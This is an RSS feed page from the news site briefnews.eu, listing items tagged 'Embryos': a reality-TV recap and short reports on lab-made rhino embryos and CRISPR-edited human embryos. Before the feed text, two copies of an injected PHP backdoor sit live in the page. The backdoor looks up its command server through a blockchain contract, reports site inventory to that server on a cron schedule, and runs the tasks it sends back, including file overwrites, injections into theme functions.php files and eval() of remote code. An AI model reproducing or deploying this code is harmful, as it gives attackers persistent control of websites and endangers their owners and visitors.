// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Embryos – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 12 Jun 2020 02:20:39 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Embryos – Brief News https://briefnews.eu 32 32 Labor of Love Recap: Bros Before Embryos https://briefnews.eu/labor-of-love-recap-bros-before-embryos/ https://briefnews.eu/labor-of-love-recap-bros-before-embryos/#respond Fri, 12 Jun 2020 02:20:39 +0000 https://briefnews.eu/labor-of-love-recap-bros-before-embryos/

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Sorry, Labor of Love‘s Alan: Neither you nor your 3 zillion sperm are enough to hold Kristy’s interest much longer, and this week on Fox’s ridiculous reality show is your last.

Ironically, your ouster arrives because you showed too much kindness and empathy toward your fellow dad-wannabes during your one and only date with Kristy. If doing so wouldn’t immediately and ickily remind everyone of the specimen-cup interlude in the series premiere, I’d probably say something like “Well, you shot your shot, man.” But that would be gross. So I’ll just suggest that everyone read on so we can find out who else goes home in “Some Like It Extra Hot.”

At the top of the episode, Kristin Davis and Kristy talk about the relationships in Kristy’s life that didn’t work out, like her short-lived marriage. Kristy cries a little and Kristin looks sympathetic. Then there’s a brilliant editing choice: As Kristin gently pulls Kristy’s hair back from her lapel, Kristy voiceovers that the former Sex and the City star seems to really want what’s best for her. This leads me to envision a future in which Kristy chooses NONE of the guys and instead raises her eventual baby with Kristin Davis, and it is surprising to me how into the idea I suddenly am.

Anyway, there are no drills this week. So the main drama goes down during Kristy’s two dates: one with Alan and the other with Gary. OH BUT WAIT. Keith and Alan get into a little thing about who was going to make and bring Kristy food first, and when Alan does so, Keith throws some glassware and it breaks on the walkway between houses. Because that is how adults react to a slight of that magnitude.

Alan thinks his impromptu food date with Kristy was a “really great moment” for them. I think she treats the encounter more like she’s interviewing him for a job than forging a romantic connection, but sure! Also, every time Alan mentions his stew, this is all I can think of. Back at the guys’ house, off a heads-up from Kyle, Alan talks to Keith and they make nice. Still, Stewart interviews that Keith “adds to the stress” of the house, and that Kristy should know that. Keith sees it more as “my fire is bigger than I thought it was, and it gets exacerbated by being in a competitive situation with a bunch of men.” Side note: I’m going to start using “my fire is bigger than I thought it was” as an explanation whenever I tick someone off. “Oh, you didn’t get my RSVP? Well my fire is bigger than I thought it was.” Makes no sense and offers no apology, but damn, it’s poetic.

OK let’s get to the dates. Kristy and Alan don white jumpsuits and go to one of those places where you can beat the crap out of junked cars and such. On one vehicle, they spray-paint words they don’t like from their past, like “deceit” and “control.” On the car representing their future, they scrawl “love” and “trust,” and Alan seems psyched that they both want the same things. I’d be worried if a future partner didn’t mention those two things, but whatevs. Sure, Alan. You guys are basically headed for the altar.

Then they demolish the cars, and Alan has such a good time, he decides to keep going and demolish his chances at staying in the running. He refers to the other contestants as his “band of brothers” and talks about them so much that Kristy has to remind him that this is his one chance to make a solo impression on her. “I need the father of my children to prioritize family over his bromance with the other guys in the house,” she interviews later. And when Alan skips going back to her place for a nightcap because it might make the other guys feel bad, that pretty much seals it.

Kristy’s second date is Gary, and they wind up wrangling kids in a party-like environment for a couple of hours. Gary is a natural, letting the kids paint his face and all that jazz, and Kristy is enamored. After the little hellions leave, she asks him to go to the Bounce House (not a euphemism) and they are getting along well in there for about 10 seconds before a task from Kristin sends the guys to come bring them back to the men’s abode.

Labor of LOve Recap Season 1 Episode 4Everyone answers questions about parenting, but Matt sulks the whole time, and Kristy notices. And when he says that he wants his wife and extended family to raise his children — implying that he doesn’t want the mother of his kids to have a full-time job — he might as well pack his suitcase and take off right then.

I’ll give it to Kyle and Trent, though: They realize they’ve got to snatch time in order to stay foremost in Kristy’s thoughts, so they both engineer situations designed for maximum romance as interpreted by Hallmark Movies and/or the first 20 minutes of Cinemax-level naughty flicks. Kyle brings her upstairs, blindfolds her and feeds her chocolate. She likes it! Trent holds a boom box over his head outside her door, invites himself in and teaches her how to Two-Step. She likes that, too!

Finally, it’s decision time. I honestly don’t care who Kristy sends home this week as long as she promises to bring back that center-part hairstyle at least once more this season. Gorgeous. By the end of the hemming and hawing, Alan, Matt, Keith and Trent are in the We Need to Talk Box.

You already know Alan goes home. (Is it weird that I was more than a little proud of our girl when she said, “20-year-old Kristy would be chasing Alan,” but 41-year-old Kristy has no time for such effery?) As you might’ve guessed, Matt follows him (and ugly-cries in the interview afterward).

Downstairs, the guys welcome Trent and Keith back into the fold… but Stewart’s got his eye on Keith (“We have to remember that Kristy hasn’t seen the Keith that we’ve seen”) and Kyle echoes that Keith has a temper Kristy hasn’t seen yet. Meanwhile, Marcus sees his opportunity and walks Kristy home (aka across the driveway), earning a kiss goodnight in return… which Kyle watches from the kitchen window like a creeper.

Now it’s your turn. What did you think of the episode? Sound off in the comments!

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]]> https://briefnews.eu/labor-of-love-recap-bros-before-embryos/feed/ 0 Lab-made embryos may save near-extinct rhino species https://briefnews.eu/lab-made-embryos-may-save-near-extinct-rhino-species/ https://briefnews.eu/lab-made-embryos-may-save-near-extinct-rhino-species/#respond Thu, 05 Jul 2018 01:24:17 +0000 http://briefnews.eu/lab-made-embryos-may-save-near-extinct-rhino-species/

The northern white rhino faces a grim fate when its last surviving examples are two infertile females. A novel scientific technique might just spare the species from extinction, however. Researchers have successfully created the first lab-made rhino embryos in a bid to give the northern white a second chance. The group collected eggs from southern white rhinos using a new extraction device and fertilized them using the sperm from dead northern whites, crafting viable embryos with the right DNA to continue the species.

There’s a lot of risk involved. The researchers will test their approach using southern rhinos as surrogates, but a complicated procedure (the females need to be anaesthetized for two hours) and a limited amount of northern sperm (just four dead males) doesn’t give the scientists many chances. If they run out of supply or the northern rhinos meet an untimely end, there may be no going back. The limited genetic variety would also cause problems — it could take a long, long time (if it can happen at all) before there would be enough diversity to ensure a flourishing population.

Still, there’s plenty of hope. The research unit is hoping that stem sell technology can create more eggs and sperm from the skin cells of 12 northern whites, increasing the supply and genetic variety. They also don’t think it will take too long to add to the species: they hope to witness the first northern white birth in three years, and that’s accounting for the rhino’s 16-month pregnancy period. If the scientists pull it off, they’ll both rescue a seemingly doomed animal and provide a blueprint for protecting other animals teetering on the edge of oblivion.

Via: Phys.org

Source: Nature

]]> https://briefnews.eu/lab-made-embryos-may-save-near-extinct-rhino-species/feed/ 0 Brainless Embryos Suggest Bioelectricity Guides Growth https://briefnews.eu/brainless-embryos-suggest-bioelectricity-guides-growth/ https://briefnews.eu/brainless-embryos-suggest-bioelectricity-guides-growth/#respond Sun, 18 Mar 2018 11:35:14 +0000 http://briefnews.eu/brainless-embryos-suggest-bioelectricity-guides-growth/ Researchers are building a case that long before the nervous system works, the brain sends crucial bioelectric signals to guide the growth of embryonic tissues.


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]]> https://briefnews.eu/brainless-embryos-suggest-bioelectricity-guides-growth/feed/ 0 U.S. scientists able to alter genes of human embryos https://briefnews.eu/u-s-scientists-able-to-alter-genes-of-human-embryos/ https://briefnews.eu/u-s-scientists-able-to-alter-genes-of-human-embryos/#respond Wed, 02 Aug 2017 18:34:29 +0000 http://briefnews.eu/u-s-scientists-able-to-alter-genes-of-human-embryos/ Designing Life

U.S. scientists have succeeded in altering the genes of a human embryo to correct a disease-causing mutation.

CBC | Health News

]]> https://briefnews.eu/u-s-scientists-able-to-alter-genes-of-human-embryos/feed/ 0 New Details on the First Crispr-Edited Human Embryos in the US https://briefnews.eu/new-details-on-the-first-crispr-edited-human-embryos-in-the-us/ https://briefnews.eu/new-details-on-the-first-crispr-edited-human-embryos-in-the-us/#respond Wed, 02 Aug 2017 17:20:15 +0000 http://briefnews.eu/new-details-on-the-first-crispr-edited-human-embryos-in-the-us/ Scientists are excited about how effectively Crispr removed mutations in embryos. But it didn’t work the way they expected.


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]]> https://briefnews.eu/new-details-on-the-first-crispr-edited-human-embryos-in-the-us/feed/ 0 Scientists Crispr the First Human Embryos in the US (Maybe) https://briefnews.eu/scientists-crispr-the-first-human-embryos-in-the-us-maybe/ https://briefnews.eu/scientists-crispr-the-first-human-embryos-in-the-us-maybe/#respond Fri, 28 Jul 2017 04:01:12 +0000 http://briefnews.eu/scientists-crispr-the-first-human-embryos-in-the-us-maybe/ The research was conducted by Shoukhrat Mitalipov, the same guy who first cloned embryonic stem cells in humans. And came up with three-parent in-vitro fertilization.


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]]> https://briefnews.eu/scientists-crispr-the-first-human-embryos-in-the-us-maybe/feed/ 0 First editing of human embryos carried out in United States https://briefnews.eu/first-editing-of-human-embryos-carried-out-in-united-states/ https://briefnews.eu/first-editing-of-human-embryos-carried-out-in-united-states/#respond Thu, 27 Jul 2017 19:20:05 +0000 http://briefnews.eu/first-editing-of-human-embryos-carried-out-in-united-states/ DNA

U.S. scientists have for the first time altered the genes of human embryos — a controversial step toward someday helping babies avoid inherited diseases.

CBC | Health News

